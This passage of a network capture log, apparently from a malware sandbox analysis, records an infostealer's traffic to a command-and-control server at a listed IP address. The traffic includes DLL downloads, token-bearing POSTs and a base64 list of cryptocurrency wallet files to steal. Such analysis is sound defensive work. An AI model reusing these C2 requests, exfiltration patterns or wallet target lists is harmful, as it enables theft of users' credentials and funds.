3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file"------KKKEBKJJDGHCBGCAAKEH--
Dec 16, 2024 13:17:28.758145094 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:17:31.136329889 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 13:17:31.578752041 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 16, 2024 13:17:31.578799009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 16, 2024 13:17:31.578815937 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 16, 2024 13:17:31.578835964 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 16, 2024 13:17:31.578891993 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 16, 2024 13:17:31.578912020 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 16, 2024 13:17:31.578928947 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 16, 2024 13:17:31.579102039 CET	1000	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 16, 2024 13:17:31.579118013 CET	1236	IN	Data Raw: fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff ff 35 d1 82 e6 ad 89 d7 81 c7 08 c9 bc f3 89 7d e8 89 c1 81 d1 67 e6 09 6a 89 4d c0 89 fa 33 95 c4 fe ff ff 89 cf 31 f7 Data Ascii: q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xptJ@FR
Dec 16, 2024 13:17:31.579137087 CET	1236	IN	Data Raw: 8b 42 54 89 85 44 ff ff ff 8b 5d cc 11 c3 8b 95 48 ff ff ff 01 d1 89 4d d4 8b 7d ac 11 fb 89 5d cc 8b 75 a0 31 de 89 75 a0 8b 9d 50 ff ff ff 31 cb 8b 45 c4 01 f0 8b 75 bc 11 de 89 75 bc 89 d1 31 c1 89 c2 31 f7 89 ce 0f a4 fe 08 0f a4 cf 08 89 7d Data Ascii: BTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1EMU}}1M1\|MtJ`ERdM\E]M
Dec 16, 2024 13:17:31.587235928 CET	1236	IN	Data Raw: 4d b0 31 f9 89 ca 0f a4 f2 10 0f ac f1 10 8b 75 c4 01 ce 89 75 c4 89 cf 8b 4d bc 11 d1 89 4d bc 31 c8 31 f3 89 c6 0f a4 de 01 89 b5 28 ff ff ff 0f a4 c3 01 89 5d 90 8b 75 b4 03 b5 0c ff ff ff 8b 4d c8 13 8d 10 ff ff ff 8b 5d 8c 01 de 13 4d a4 89 Data Ascii: M1uuMM11(]uM]MM1U1}MMEE1}1UuUM1U1uU]]MM11M}}E\|}
Dec 16, 2024 13:17:33.066674948 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 13:17:33.508774996 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 16, 2024 13:17:34.381405115 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 13:17:34.823811054 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 16, 2024 13:17:35.511760950 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 13:17:35.953500032 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 16, 2024 13:17:39.224756002 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 13:17:39.666853905 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 16, 2024 13:17:41.107682943 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 13:17:41.549535036 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 16, 2024 13:17:42.729619980 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHC Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 13:17:43.665817976 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:17:44.085622072 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="message"wallets------DGHJECAFIDAFHJKFCGHI--
Dec 16, 2024 13:17:44.530128956 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:44 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 16, 2024 13:17:44.542081118 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"files------HIIIIEGHDGDBFIDGHDAF--
Dec 16, 2024 13:17:44.985861063 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:17:45.013036966 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 